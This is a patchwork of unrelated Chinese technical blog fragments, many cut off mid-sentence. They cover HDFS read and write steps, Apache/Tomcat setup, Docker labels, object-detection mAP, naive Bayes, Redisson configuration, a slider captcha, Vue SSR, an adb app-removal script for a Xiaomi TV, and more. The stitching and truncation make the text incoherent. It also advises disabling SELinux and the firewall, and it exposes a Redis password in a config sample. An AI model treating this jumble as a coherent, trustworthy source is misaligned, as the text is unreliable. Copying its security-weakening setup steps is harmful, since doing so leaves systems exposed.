如果有写入权限,接着判断要写入的目录下是否存在这个文件,如果存在,报错,如果不存再,则通过datanode可以上传
3. 客户端对文件进行分操作形成block块
4 先请求 第一个block,存储到哪些地方
5.根据机架感应原理,网络拓扑关系,副本机制,找到相应可以上传的datanode连接列表,返回给客户端。
6.从接受列表中选择第一台datanode与之连接,建立pipeline(管道)
7.当连接第一台,接着让第一台与第二台连接,然后第二台与第三台连接形成一条pepeline管道
8.client客户端,通过package(数据包 64kB)的形式发送数据,当第一台接受完数据后,然后将数据转发给第二台,当第二台接受完数据后,将数据转发给第三台,
9.当第一个请求后,搭建一个反向应答队列,当每个节点都将数据包接受后,反向给予应答反应(ACk确认机制)
10.此时client开始源源不断的发送数据即可,当第一个block发送完成后,此时client重新向namenode发送请求,获取第二个block应该存储到哪个datanode中。。接着开始从第5步不断执行,直到所有的block完全写入。
1. 发送请求,连接namenode,执行读取数据
2. namenode接受读取请求后,
首先判断当前这个操作用户是否拥有读取权限,如果不具有直接报错。
如果有读取权限,接着判断要读取的目录下是否存在这个文件,如果不存在,报错,如果存在,则根据机架感应原理,网络拓扑关系,副本机制,返回部分或者全部的block所在的datnode地址
3.当接受部分或全部的block列表后,然后进行并连接datanode节点,开始读取数据
4.当这些地址中的block全部读取完之后,如果之前请求的时部分的block,此时会再次请求namenode。
将剩余或者部分的block的datanode列表返回来,接着运行第三步。
开启读取数据,知道将所有的block读取完成
5,按照block排序,将读取的block一个一个连接起来,形成最终的文件,此时用户就能看到最终的文件了。
https://www.aliyun.com/jiaocheng/186362.html
https://blog.csdn.net/kesixin/article/details/77779021
在这个网页下找对应的mod_jk下载包配合上边网址进行配置
https://archive.apache.org/dist/tomcat/tomcat-connectors/jk/
配置完之后
最后别忘了setenforce 0 和service firewalld stop 后再重启
第一步:
先是 安装apache系列
yum -y install httpd.x86_64 //++++++++++++++++++++++++++
yum -y install httpd-devel.x86_64 //+++++++++++++++++++++++++
然后看我的另一个博客进行简单的配置https://mp.csdn.net/postedit/80009072
第二步 安装对应的jdk
yum -y install java-1.8.0_171-openjdk* //++++++++++++++++++++++
安装完之后用下边的命令检测是否安装完成
输入java -version
之后显示
openjdk version “1.8.0_171”
OpenJDK Runtime Environment (build 1.8.0_171-b10)
OpenJDK 64-Bit Server VM (build 25.171-b10, mixed mode)
表明安装成功
第三步安装 apache-tomcat-9.0.8.tar.gz 到 /opt 下边
自己找怎么下载(wget http://mirrors.hust.edu.cn/apache/tomcat/tomcat-9/v9.0.8/bin/apache-tomcat-9.0.8.tar.gz)
之后再解压到 /opt 下边
tar -xzvf apache-tomcat-9.0.8.tar.gz
mv apache-tomcat-9.0.8 tomcat
1、检查本地是否存在镜像, 如果不存在即从远端仓库检索
2、利用镜像启动容器
3、分配一个文件系统,并在只读的镜像层外挂载一层可读写层
4、从宿主机配置的网桥接口中桥接一个虚拟接口到容器
5、从地址池配置一个ip地址给容器
6、执行用户指定的指令
7、执行完毕后容器终止
添加标签 docker node update --label-add role=masl manager-node 查看标签 docker node update --label-rm role manager-node 删除标签 docker node update --label-rm role manager-node 服务部署条件约束 docker service create \ --name masl \ -e TZ="Asia/Shanghai" \ --network mrp_net \ --replicas 2 \ -p 8081:8080 \ --constraint 'node.labels.role == masl' \ 172.16.99.2:40305/masl:dev-yc-67 #多个约束时,它们之间的关系是 AND 条件约束补充 constraints 可以匹配 node 标签和 engine 标签,engine.labels 适用于 Docker Engine 标签,如操作系统,驱动程序等,node.labels 适用于上述人为添加到节点的。
R与Excel比较 R与Excle最大的一个不同就是R软件不能使用鼠标,因此,在Excel中可以非常轻松完成的选择、框选、粘贴、填充、排序、筛选等操作,在R中必须使用代码来完成代码更适合批量化和自动化,R往往用来处理大数据,使用鼠标反而更不方便
mAP@0.5:mean Average Precision(IoU=0.5)
即将IoU设为0.5时,计算每一类的所有图片的AP,然后所有类别求平均,即mAP
如图所示,AP50,AP60,AP70……等等指的是取detector的IoU阈值大于0.5,大于0.6,大于0.7……等等。数值越高,即阈值越大,精度越低。
mAP@.5:.95(mAP@[.5:.95])
表示在不同IoU阈值(从0.5到0.95,步长0.05)(0.5、0.55、0.6、0.65、0.7、0.75、0.8、0.85、0.9、0.95)上的平均mAP。
如何衡量目标检测算法的优劣
目标检测(object detection)问题相对于一般AI分类问题更加复杂,不仅检测出目标,输出目标的类别,还要定位出目标的位置。分类问题中的简单accuray指标已经不能反映出目标检测问题结果的准确度,而mAP (Mean Average Precision)就是被用来衡量目标检测算法优劣的常用指标。
要理解什么是mAP,需要先澄清什么是Precision(查准率)和Recall(查全率)。
定义 查准率和查全率是在信息检索、Web搜索等应用中经常出现的性能度量指标,在机器学习中,也可以用来度量“预测结果中有多少比例是用户感兴趣的”。对于二分类问题,可将样例根据其真实类别与预测类别的组合划分为:
TP、TN、FP、FN
TP (True Positive): 真正例。Positive指预测输出为正,True代表预测正确。
TN (True Negative): 真反例。预测输出为负,而且预测正确。
FP (False Positive): 假正例。预测输出为正,但是预测错误。
FN (False Negative): 假反例。预测输出为负,但是预测错误。
Precision(查准率): 所有预测为正例的结果中,预测正确的比率。
Recall (查全率):所有正例中被正确预测的比率。
如何计算: 目标检测问题中,算法通常输出一个预测框(bounding box)来标识检出目标的位置,要衡量这个预测框与目标的实际位置(ground truth)的准确度,可以使用IoU指标。
交并比IoU(Intersection over union)
交并比IoU衡量的是两个区域的重叠程度,是两个区域重叠部分面积占二者总面积(重叠部分只计算一次)的比例。
目标检测中IoU就是预测框与实际框的交集除以并集。
我们可以设置一个阈值(threshold),通常是0.5,预测结果可以分为:
如果IoU >= 0.5
如果预测类别也正确,认为是一个好的预测,分类为TP
如果预测类别错误,认为是一个坏的预测,分类为FP
如果IoU < 0.5, 认为是一个坏的预测,分类为FP
如果一个目标出现在图像中,但是算法未检出,分类为FN
TN(图像上所有不包含实际框和检测框的部分)通常计算中用不到。
查全率和查准率通常是一对矛盾的度量,一般来说,查准率高时,查全率往往偏低;而查全率高时,查准率往往偏低。
我们如果把所有预测结果对样例进行排序,排在前面的是“最可能”的正例样本,以查准率为纵轴、查全率为横轴作图,得到一条”P-R曲线”。
P-R曲线直观的显示出一个算法在样本总体上的查全率、查准率情况。如果一个算法的P-R曲线被另一个算法的曲线完全包住,则可断言后者优于前者。但是实际中,经常不同算法的P-R曲线是互相交叉的,这时就很难直观判断出两者的优劣。这时通常会考察平衡点(BEP)、F1度量、AP等指标。
AP
AP(average precision 平均精度):AP是计算单类别的模型平均准确度。对于目标检测任务,每一个类都可以计算出其Precision和Recall,每个类都可以得到一条P-R曲线,曲线下的面积就是AP的值。如果一个算法的AP值较大,也就是P-R曲线下的面积比较大,可以认为此算法查准率和查全率整体上相对
mAP
mAP(mean of Average Precision) : 对所有类别的AP值求平均值。
Android——折线图显示 利用 hellocharts-library-1.5.8 jar包实现折线图
hellocharts-library-1.5.8.jar网盘链接 链接:https://pan.baidu.com/s/1sKVNOxQ9U4rR81v1U1OazQ
提取码:i2nn
复制这段内容后打开百度网盘手机App,操作更方便哦
使用的对象如下 横轴数据 和 纵轴数据 (转换为LineChartView可以录入的集合对象)
单条线的对象 ——> 线的集合
数据对象
折线控件
使用步骤 静态 声明折线控件定义横轴、纵轴数据,并转换为LineChartView可以录入的集合对象声明单条线对象,并加入到集合中声明数据对象,并将 线 设置到数据对象中将坐标轴数据添加到数据对象中将数据对象添加到折线控件中 动态 在静态基础上添加:通过父子线程,使数据更新。(UI应在主线程中进行)
new Thread() { public void run() { while (true) { try { sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } // 把随机生成的数更新到折线图上 final double randomPoint = Math.random() * 1000; // 切换到主线程中执行 runOnUiThread(new Runnable() { @Override public void run() { addNewPoint((float) randomPoint); } }); } } }.
机器学习18_贝叶斯算法详解(2021.06.02 - 2021.06.05) 一. 朴素贝叶斯算法 为什么需要朴素贝叶斯算法?
比如说,我们想预测一个人究竟是否能够侥幸在空难中生还,那么我们就需要建立一个分类模型来学习我们的训练集。在训练集中,其中一个人的特征是30岁,男,普通舱,他最终在空难中去世了。训练完成后,当我们使用训练好的模型进行测试的时候,测试的目标的特征也是30岁,男,普通舱,那么我们的模型必然会给这个人打上去世的标签。然而事实却不一定为此,也许这个人正好坐在了离逃生口最近的位置,他得到了第一时间的救治而生存下来了。因此对于分类算法来说,基于训练的经验,这个人“很有可能”去世,但算法永远无法确定这个人“一定没有活下来”。即便是这个人最后真的去世了,算法也无法根据训练数据给出绝对的判断和结论。
从这个故事就可以看出,根据算法训练得到的结果其实常常只是一种非100%确定的推测,而我们在使用模型时却非要强行让算法给我们一个分类的结果,这样的结果其实也并不是我们想要的,换句话说大多数时候,我们也希望算法能给我们一个多可能的带有概率分布的结果,因此就有了真正基于概率的算法 ----- 朴素贝叶斯。什么是朴素贝叶斯算法?
朴素贝叶斯算法是一种直接衡量标签与特征之间的概率关系的有监督的学习算法,是一种专注分类的算法。其根源就是基于概率论与数理统计的贝叶斯理论,因此它是根正苗红的概率模型。朴素贝叶斯算法所需的概率知识扫盲
1.什么是概率?
概率,旧称几率,又称机率、机会率或或然率,是对随机事件发生之可能性的度量,为数学概率论的基本概念;概率的值是一个在0到1之间的实数,也常以百分数来表示。
2.通俗地理解联合概率和条件概率
一篇比较轻松易懂的博文推荐:https://zhuanlan.zhihu.com/p/150438364
3.概率计算公式总结
朴素贝叶斯算法的适用范围
1.朴素贝叶斯值适用于特征之间是条件独立的情况下,否则分类效果不好,这里的朴素指的就是条件独立。
2.朴素贝叶斯主要被广泛地使用在文档分类中。朴素贝叶斯算法的分类
在sklearn中提供了三种不同类型的贝叶斯模型算法,分别是:高斯模型、多项式模型、伯努利模型 二. 高斯朴素贝叶斯算法 高斯分布(正态分布)的扫盲
高斯分布(正态分布)是一种连续型变量的概率分布,简单地来说,高斯分布(正态分布)就是当频率直方图的区间变得特别小的拟合曲线,像一座小山峰,其中两端特别小,越往中间越高。所谓的高斯分布(正态分布)其实就是正常形态的分布,它是自然界的一种规律。现实生活中有很多现象服从高斯分布,比如人的身高、收入、体重等等,大部分的人都处在中等水平,只有极少数的人会特别高或者特别低。高斯朴素贝叶斯公式如图所示,本质上就是通过假设P(xi|Y)是服从高斯分布(正态分布),从而来估计每个特征分到每个类别Y上的条件概率。
高斯朴素贝叶斯模型的作用
在贝叶斯分类中,高斯模型就是用来处理特征变量的,当使用此模型时,第一步:我们会假定特征属于高斯分布,第二步:去计算训练样本集中每一个样本数据的每一个特征分到帅的条件概率和丑的条件概率,再基于最大化P的准则,定义每个特征所属的标签及其概率,第三步:基于训练样本集计算特征所属标签的均值和标准差,这样就可以估计某个特征属于某个类别的概率。
举个例子:当你想判断一个人是帅还是丑,则帅和丑就是分类的标签。在样本数据集中,一个人的特征假设有身高、体重、三围这三种。对于样本数据中的其中一条数据(某一个人),高斯分布就会计算身高的特征分到帅的条件概率和丑的条件概率,再计算体重的特征分到帅和丑的概率,以此类推。在这之后,将数据集中的每一条数据按照上述描述进行相同的操作。然后对训练样本集中的每一条数据的特征(身高、体重、三围)分到每一个类别的最大概率进行均值、方差计算。从而最终返回每一个特征的系数w。高斯朴素贝叶斯算法的API
from sklearn.naive_bayes import GaussianNB
实例化模型对象的时候,我们不需要对高斯朴素贝叶斯输入任何参数,可以说是一个非常轻量级的类,操作非常容易,但过于简单也意味着贝叶斯没有太多的参数可以调整,因此贝叶斯算法的成长空间并不是太大,如果贝叶斯算法的效果不是太理想,我们一般会考虑换模型。基于高斯朴素贝叶斯算法和sklearn中的digits数据集的数字分类的代码实现 from sklearn.naive_bayes import GaussianNB # 导入高斯朴素贝叶斯 from sklearn.datasets import load_digits # 导入数字数据集 from sklearn.model_selection import train_test_split # 用于对数据集的拆分 # 读取样本数据集 data = load_digits() # print(data) # 提取特征数据和标签数据 feature = data.data target = data.target # 拆分数据 x_train, x_test, y_train, y_test = train_test_split(feature, target, test_size=0.
需求 近日开发有个需求要获取类属性的名称,只是想简单便捷的调用下。
举例来说,一个实体类 User 含有 id 和 userName 两个属性,现在想要获取 “id” 和 “userName” 两个属性名的字符串。
偷懒思路 想到 Lombok 在通过注解简化实体类方面有不错的效果,所以想找下 Lombok 是否有什么注解方便实现本需求。
偷懒之路 经过百度+谷歌的检索定位到了 @FieldNameConstants 满足需求。
偷懒所得 @FieldNameConstants官网介绍
注意: Lombok 不同版本对于注解 @FieldNameConstants 效果会有所不同,上面给出的官网下面的 Small print 章节给出了历史版本的迭代情况,本文使用的 Lombok 版本为 1.18.16
个人解析: 直接使用效果 抄袭官方代码Demo1
import lombok.experimental.FieldNameConstants; import lombok.AccessLevel; @FieldNameConstants public class FieldNameConstantsExample { private final String iAmAField; private final int andSoAmI; // 添加 @FieldNameConstants.Exclude 这个注解表示该属性名不需要提供属性名 @FieldNameConstants.Exclude private final int asAmI; } 抄袭官方Demo2 ,下面代码就是 Lombok 使用注解后最终 java 代码效果。本质上生成了一个内部类 Fields。
一、相关日志截图 二、问题场景 使用datax 将mysql数据同步到mysql,执行任务后发现日志显示timestamp类型转换错误。 三、解决方法 因为目标表该字段类型是datetime类型,所以要在逻辑中进行转换。
cast(字段名 as datetime)
Redisson是一个在Redis的基础上实现的Java驻内存数据网格。它几乎提供了Redis所有工具,不仅封装Redis底层数据结构,而且还提供了很多Java类型映射。Redisson支持redis单实例、redis哨兵、redis cluster、redis master-slave等各种部署架构。Redisson出了普通分布式锁还支持 联锁(MultiLock),读写锁(ReadWriteLock),公平锁(Fair Lock),红锁(RedLock),信号量(Semaphore),可过期性信号量(PermitExpirableSemaphore)和闭锁(CountDownLatch)等。
Redisson 虽然功能强大但是它依然不能解决分布式锁有可能锁不住的情况,这不是Redisson或者Redis的问题(目前遇到这种问题只能人工干预)。本篇主要是平时工作中使用对Redisson分布式锁的封装
Maven主要包配置
<dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <version>1.16.6</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-redis</artifactId> <version>2.1.9.RELEASE</version> </dependency> <dependency> <groupId>redis.clients</groupId> <artifactId>jedis</artifactId> <version>2.9.0</version> </dependency> <dependency> <groupId>org.redisson</groupId> <artifactId>redisson</artifactId> <version>3.11.2</version> </dependency> yml 配置
redis: server: database: 0 host: redis的ip地址 maxIdle: 500 maxTotal: 50 maxWaitMillis: 10000 minEvictableIdleTimeMillis: 60000 minIdle: 10 numTestsPerEvictionRun: 10 password: yiwei-redis-666 port: redis的端口号 testOnBorrow: true testOnReturn: true testWhileIdle: true timeBetweenEvictionRunsMillis: 30000 timeOut: 2000 JedisProperties属性配置
import lombok.Data; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Component; @Data @Component public class JedisProperties { @Value("
准备工作
1、若干原图片(下文称为原图)
2、一张抠图形状图片(下文称为滑块模板,抠出来的图称为滑块)
3、一张抠图边框图片(下文称为滑块边框)
注意:滑块模板尺寸必须小于原图尺寸
实现思路
1、后端 - 在若干原图中随机一张原图
2、后端 - 根据滑块模板随机在原图中随机一个矩形区域,并且得到区域x、y坐标,注意随机区域不要超过原图边界
3、后端 - 根据滑块模板在原图上抠图(原理:滑块模板中滑块是有颜色的,根据滑块模板坐标可以直接取到原图坐标,然后在取原图坐标点颜色并赋值到滑块)
4、后端 - 根据滑块模板在原图上设置遮罩缺块(原理:同上取到原图坐标并取得原图色值,把色值调低并放回去就形成遮罩缺块)
5、后端 - 为了用户体验给滑块加边框(原理:滑块边框与滑块模板同等画布,且边框刚好大于滑块,直接取边框中有颜色的坐标,并把颜色设置在滑块上)
6、后端 - 把滑块图片Base64,有缺块的原图Base64
7、后端 - 经过前6步已经可以得到,两个Base64的字符串和一个坐标x、y,随机一个key,把坐标x、y存在redis中
8、后端 - 返回前端两个Base64的字符串和y坐标 和key
9、前端 - 每隔100毫秒获取一次滑块坐标,滑动结束后把key和路径坐标数组返回给后端
10、后端 - 得到key和路径数组后,从redis中取出缺块坐标,用数组中最后一个坐标与缺块坐标比较,差值是否在预设差值范围内,如果不在直接验证失败
11、(可不选)后端 - 为防止机器学习模拟滑块滑动,可以做路径校验,校验原理开始慢,中间快,最后慢(需要慢慢调法值,这里省略)
滑块模板 滑块边框
背景图
代码:
public class ImageSlideVerification { /** * 源图目录路径 */ private static String ORIGIN_CATALOG = "original"; /** * 模板图目录路径 */ private static String TEMPLATE_CATALOG = "templates"; /** * 描边图目录路径 */ private static String BORDER_CATALOG = "
这是克服您在网站上进行视频自动播放的所有难题的小技巧:
1)检查视频是否正在播放。2)在诸如单击或触摸身体等事件时触发视频播放。
注意:除非用户与设备进行交互,否则某些浏览器不允许视频自动播放。
因此,用于检查视频是否正在播放的脚本为:
Object.defineProperty(HTMLMediaElement.prototype, 'playing', {
get: function () {
return !!(this.currentTime > 0 && !this.paused && !this.ended && this.readyState > 2);
}});
然后,您可以通过将事件侦听器附加到主体上来简单地自动播放视频:
$('body').on('click touchstart', function () {
const videoElement = document.getElementById('home_video');
if (videoElement.playing) {
// video is already playing so do nothing
}
else {
// video is not playing
// so play video now
videoElement.play();
}
});
注意:autoplay属性是非常基本的属性,除了这些脚本外,还需要将其添加到视频标签中。
您可以在以下链接中看到带有代码的工作示例:
设备处于低功耗模式/数据保存模式/ Safari浏览器问题时如何自动播放视频
一、传统服务端渲染、客户端渲染、服务端渲染(SSR) 1.传统服务端渲染:访问url,网页内容在服务器端渲染完成,返回HTML字符串,一次性传输到浏览器,浏览器渲染HTML。
2.客户端渲染:访问URL,服务端返回不包含DOM结构的HTML,浏览器渲染HTML,渲染js,请求数据,服务器返回json数据。
客户端渲染至少会进行两次http请求,首屏到达时间会相对慢些,返回不包含DOM结构的HTML,SEO不友好 3.服务端渲染(SSR):访问url,服务端读取vue模板,解析成DOM节点,返回首屏HTML及完整spa结构,客户端显示首屏,并激活后可使用spa方式运行。
解决首屏速度慢和SEO问题 二、服务端渲染(SSR) 1.基本用法 使用渲染器将vue实例渲染成html字符串
const express = require('express'); const app = express() const {createRenderer} = require('vue-server-renderer'); // 获取渲染器 const renderer = createRenderer(); const Vue = require('vue') // 路由 app.get('/', async (req, res) => { // 创建一个vue实例 const vm = new Vue({ template:'<p>{{msg}}</p>', data(){ return { msg: 'hello ssr' } }, }) try { // 将vm转换为html字符串 const html = await renderer.renderToString(vm) res.send(html); } catch(error) { res.
导入数据 # jieba分词 import jieba # jieba中文分词 import re # 正则化表达 有这么一段文字
content = '''比较好的考研das教学视频, 英语推荐朱伟的恋恋ew有词, 政治推荐肖秀.//荣的, 高数推荐张[''。。宇的''' word_sep = jieba.cut(content) print(list(word_sep)) ['比较', '好', '的', '考研', 'das', '教学', '视频', ',', '\n', '英语', '推荐', '朱伟', '的', '恋恋', 'ew', '有词', ',', '\n', '政治', '推荐', '肖秀', '.', '/', '/', '荣', '的', ',', '\n', '高数', '推荐', '张', '[', "'", "'", '。', '。', '宇', '的'] 里面有一些干扰的字符,我们想办法处理一下
content = '''比较好的考研das教学视频, 英语推荐朱伟的恋恋ew有词, 政治推荐肖秀.//荣的, 高数推荐张[''。。宇的''' content = re.
报错:
Did you remember to import the module containing this task? Or maybe you're using relative imports? Please see http://docs.celeryq.org/en/latest/internals/protocol.html for more information. The full contents of the message body was: b'[[], {}, {"callbacks": null, "errbacks": null, "chain": null, "chord": null}]' (77b) Traceback (most recent call last): File "d:\venv\lib\site-packages\celery\worker\consumer\consumer.py", line 555, in on_task_received strategy = strategies[type_] KeyError: 'terminal.tasks.add_order_and_other' 报这个错的原因是没有找到任务,要想让celery找到任务有两种方法
1.首先这里使用的是django+celery并不是djcelery。在settings同级下的view视图函数中导入tasks.py中的所有任务
from .task import add_data, add_course, add_order_and_other
(仅导入就行)(此法不建议使用,因为有点歪门邪道的感觉 哈哈哈哈)
2.在celery.py中添加app.autodiscover_tasks([‘terminal.tasks’]),terminal.tasks是任务文件所在的位置。
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
我的是小米4A 49寸 受贴吧大神启发,总结一个教程
原帖https://tieba.baidu.com/p/5552181422感谢大神
需要工具:电视一台,电脑一台 电视无需恢复出厂设置
1 电脑下载卓大师电脑版 默认路径默认路径C:\Program Files\zhuods
2电视下载当贝桌面或其他第三方桌面软件(因为下面会删掉自带桌面,必须保证有一个桌面软件)乐播投屏或其他投屏软件(精简后无投屏插件)
3 打开adb调试和允许安装应用程 在‘设置-账号与安全’里
4把以下文字复制到一个新建的txt里,按需修改,括号里的不必复制,保存后改后缀为bat
cd C:\Program Files\zhuods(或者你自行选择的安装路径)
adb connect 192.168.1.100(这里改为你电视的IP地址,在无线连接页面可以看到)
adb shell pm uninstall--user 0 com.xiaomi.mitv.upgrade
adb shell pm uninstall --user 0 com.xiaomi.account
adb shell pm uninstall --user 0 com.droidlogic
adb shell pm uninstall --user 0 com.xiaomi.mitv.payment
adb shell pm uninstall --user 0 com.xiaomi.upnp
adb shell pm uninstall --user 0 com.xiaomi.mitv.pay
adb shell pm uninstall --user 0 com.
数据库的索引原理 索引作用
索引是用来快速查找特定值的记录。如果没有索引、一般来说执行查询时会遍历整个表。索引就是把无须的数据变成有序的,然后提高查询效率。
索引原理
1、把创建了索引的列进行排序
2、对排序结构生成倒排表
3、在倒排内容中拼接对应的数据地址
4、查询时先拿到倒排表的内容,再取出数据地址,然后在拿到具体的数据
聚簇索引与非聚簇索引 聚簇索引
聚簇索引是索引与数据存储在一块,并且是按顺序存储的。查询到聚簇索引就可以直接获取数据,不需要进行二次查询。使用范围查询速度效率高,其数据是可以按照大小排序的,因为是有序的也更合适这排序场合使用。相对来说维护成本高,特别是插入新数据或者更新导致要分页时。还有使用随机ID做主键时,导致数据稀疏导致效率很低。辅助索引存的是主键值,如果参数过大会导致占用磁盘空间过多
非聚簇索引
非聚簇索引中,索引与数据是分离的,索引中存储的是内存地址,也就是每次索引后需要进行二次查询。以书本的目录为例子,我们看到目录中想要的内容在这多少页以后,还需要自己再次翻页过去。但是维护成本低,因为不会存储数据
Hash索引结构与B+Tree索引结构 Hash索引
当查询都为单个查询,例如说 ID=3这种,hash索引的效率是非常高的。但是这范围查询的情况下,因为hash索引是无序的,效率就低了。如果出现hash冲突的,还会有一个维护的链表进行检索。例如下图中,有两个key的hash值都是152,此时将会有一个自己维护的链表进行遍历,如果出现大量冲突时效率也会降低很多
B+Tree
B+Tree是一个平衡的多叉树,也就是一个父节点可以对应多个子节点。每个节点的高度不会超过1,而且同级别节点有指针相连,也就是从根节点到子叶子节点效率是基本差不多的,幅度不会太大。做顺序扫描时,也就是范围值查询时,可以进行双向移动指针,效率非常高
索引的设计原则 1、索引的列是出现这where子句中的列,或是链接子句中的列
2、数据量小的表没有必要建立索引,因为索引本身也会有一个索引表需要维护
3、尽量使用短索引,也就是字符数量较少的,如果需要使用长字符串做索引,那就使用前缀索引,这样减少索引空间使用
4、不要过度索引,索引也是需要维护的,索引过多维护成本也会增加
5、这定义外键的数据列上建立索引
6、更新频繁的字段不适合做索引
7、那些很少查询的列,重复值较多的列没有必要建索引
8、列辨识度不是很高,不能有效区分数据的列没有必要建立索引,比如说性别
书籍相对于其他资料来说,其好处之一就是有一套完整的知识体系,由浅入深,层层递进。另一个好处就是有权威性,作者一般都是在行业内比较厉害的成功人士。还需要经过一番修改才能够出版。下面老朱来分享3本觉得还不错的python书籍。
1、《python从入门到实践》
这是一本适合入门的书籍,本书包括基础知识和项目。能为学习者解决常见的编程问题和困惑。
2、《python核心编程》
《python核心编程》推荐第二版,这可以说是python学习者的指南,本书除了python基本构建,还有复杂的实例。适合初学者入门,和想提高python技术的程序猿。
3、《python cookbook》
本书除了介绍各领域的技巧和方法,还包含许多在python开发中可能遇到的问题以及解决方案,
本书适合有一定基础的学习者阅读学习。
这些书,我觉得都是学python的必读书籍。对于刚入门的初学者来说,这三本书能帮助你少走很多弯路,希望能够帮到你。
# include <stdio.h> # include <string.h> struct STU { char name[10]; char usname[12]; int num; }; int main() { struct STU stu[5]; int n; int i; int max; int min; int a=0; int b=0; if(scanf("%d",&n)){}; if(n<=5){ for(i=0;i<n;i++){ if(scanf ("%s %s %d", stu[i].name, stu[i].usname, &stu[i].num)){}; }; max=min=stu[0].num; for(i=1;i<n;i++){ if(stu[i].num>max)max=stu[i].num; else if(stu[i].num<min)min=stu[i].num; }; for(i=0;i<n;i++){ if(max==stu[i].num){ a=i; }; if(min==stu[i].num){ b=i; }; }; printf("%s %s\n", stu[a].name, stu[a].usname); printf("%s %s\n", stu[b].name, stu[b].usname); }else{}; return 0; } 当数组为usname[10]时会发生越界,因为字符数字最后一个数组下标中存有\0。所以实际上数组的可使用范围为【0-9】结果中会多出一个Y。
题目链接:https://codeforces.com/contest/1523/problem/D
题目链接:https://codeforces.com/contest/1523/problem/D
题目大意: 个朋友来聚会,总共有个话题,每个朋友最多喜欢个话题,你需要选择一些话题,使得喜欢所有你选择话题的人数大于等于总人数的一半。求最多可以选择多少个话题,输出一种方案。
题解: 个人的方法:(暴力搜索+剪枝) 搜索方法和求一个图的最大团的方法相同,只是判断的条件不同。
简述:表示话题中,最多可以选择多少个话题。那么或,对于后一种情况中,话题一定可以加入的某个最优方案中。
因此,我们可以从开始依次往前求,并利用计算的来剪枝。
我们需要用来维护话题的感兴趣状态。
可过,花费的时间和官方解法花费的时间差不多。
代码如下:
#include<bits/stdc++.h> using namespace std; const int nn =210000; const int inff = 0x3fffffff; const double eps = 1e-8; typedef long long LL; const double pi = acos(-1.0); const LL mod = 100000007; int n,m,p; bitset<nn> bit[65]; bool g[65][65]; int ans; int mc[65]; int lis[65][65]; int len[65]; bool found; LL ans_state; void dfs(int siz,LL state,bitset<nn>b) { if(len[siz]==0) { if(siz>ans) { ans=siz; found=true; ans_state=state; } return; } for(int i=0;i<len[siz]&&!
1.运行flutter doctor --android-licenses 报错javax/xml/bind/annotation/XmlSchema,造成无法安装app
(1)jdk版本使用1.8,
(2)配置jdk环境变量,
(3)Android sdk下载Android SDK Command-line Tools
(4)以上确保没问题,运行flutter doctor --android-licenses,根据提示输入y,会有多个许可协议需要同意
2.编译报错:Error: Cannot run with sound null safety, because the following dependencies
don't support null safety:
- package:english_words
解决方法:
降低到第三方依赖安全的版本 或者 在Android studio 命令行中输入: flutter run --no-sound-null-safety 运行app
最近手机总是弹出iCloud储存空间已满,升级的话得花钱,以后再说的话,总感觉有点 不安,担心自己的照片啥的会存不了,所以特意查找了这种方法,如果有出现这种情况的朋友,可以试试。
1. 找出iCloud空间被哪些档案塞满
iiPhone或iPad会显示「iCloud储存空间已满」警告,表示iCloud空间已经不够备份,可以通过iOS「设定」>「Apple ID(点击自己的名称)」。点入后选择「iCloud」选项后,就能看见iCloud 储存空间到底被哪些照片、备份、文件或其他资料给占用。2. 删除久未使用iOS装置备份
相信大家都会使用不少iOS 设备,有些可能没有在用或是已经卖掉或送人,那这些备份档案其实就可以删除,不需要保存在iCloud空间。
如果想删除iCloud设备备份,可点击「管理储存空间」选项后,里面就可看见所有设备的备份档案,建议删除目前没在使用的设备,目前所用的设备会特别显示「这台iPhone」或「这台iPad」,那表示这备份档是目前正在使用设备的。确认没在用的设备,就可点进去点选「删除备份」>「关闭并删除」即可移除释放空间,特别留意删除后就没办法回复。3. 删除大容量应用程式备份达到释放空
确认完所有设备的备份后,一定会剩下几个,接下来点击目前在使用的备份档,里面可能看见备份档案完来都是被一些应用程式、文件方式来储存,清单中也会从占用档案大到小排列,可以开始从头确认,找出哪些应用程式、游戏其实并不需要透过iCloud备份,像是虾皮购物、Weibo等,这些根本就不需要占用iCloud 备份,毕竟帐号资料都是存放在伺服器非本机设备上,就可以将他们关闭,就能删除App备份档案进一步释放出空间。
4.停用删除照片备份
特别提醒:此方法操作前,需要先用电脑iTunes备份、iPhone随身碟或其他网路空间先备份照片后才操作,避免删除后所有照片档案就会导致救不回来。
iCloud空间占用最大的通常是「照片」,通常免费5GB空间一定不够使用,除非从来不拍照才不会有太大影响,否则照片备份内都会包含相片和影片档案,很轻易就会造成塞爆iCloud空间,除非愿意花钱扩充iCloud 空间,否则可以自己考虑真的还要靠iCloud 备份照片?
5. 升级iCloud 储存空间
如果不想这么麻烦,因为照片太多就是打算花钱继续扩充iCloud空间,可以点击iOS「设定」>「Apple ID(点击自己的名称)」>「iCloud」「管理储存空间」,会看见蓝色字「升级」点击进去(这步骤稍微会卡个几秒才会进入)。就可以选择要升级iCloud 空间,其中200GB、2TB空间是可以与家人共享共用iCloud 储存空间,不过价格也要自己拿捏,如果感觉太贵,看前面的透过其他备份照片也是非常不错。
依照以上操作过一次后,就能发现到iCloud储存空间已经完美释放出不少空间。
一、PyGame 鼠标键盘事件 事件类型有很多种,例如: QUIT 和 MOUSEMOTION 等, 这些预定义的事件类型作为常量定义在 pygame.local 模块中,下面这些是最早的事件类型和它们的属性,后面不同的版本又补充了例如手势等事件,具体参考官方文档:
QUIT none ACTIVEEVENT gain, state KEYDOWN key, mod, unicode, scancode KEYUP key, mod MOUSEMOTION pos, rel, buttons MOUSEBUTTONUP pos, button MOUSEBUTTONDOWN pos, button JOYAXISMOTION joy, axis, value JOYBALLMOTION joy, ball, rel JOYHATMOTION joy, hat, value JOYBUTTONUP joy, button JOYBUTTONDOWN joy, button VIDEORESIZE size, w, h VIDEOEXPOSE none USEREVENT code 我们可以在程序中模拟一下:
import pygame pygame.init() resolution = width, height = 480, 700 windowSurface = pygame.
消息队列 是什么 message queue,简称 MQ。拥有 FIFO 特性,主要用于不同进程或线程之间的通信,用来处理一系列的输入请求。
采用异步通信机制,也就是消息的发送者和接收者无需同时与消息队列进行数据交互,消息会一直保存在队列中,直到被接收者读取。每一条消息记录都包含了详细的数据说明,包括数据产生的时间,数据类型,特定的输入参数等。
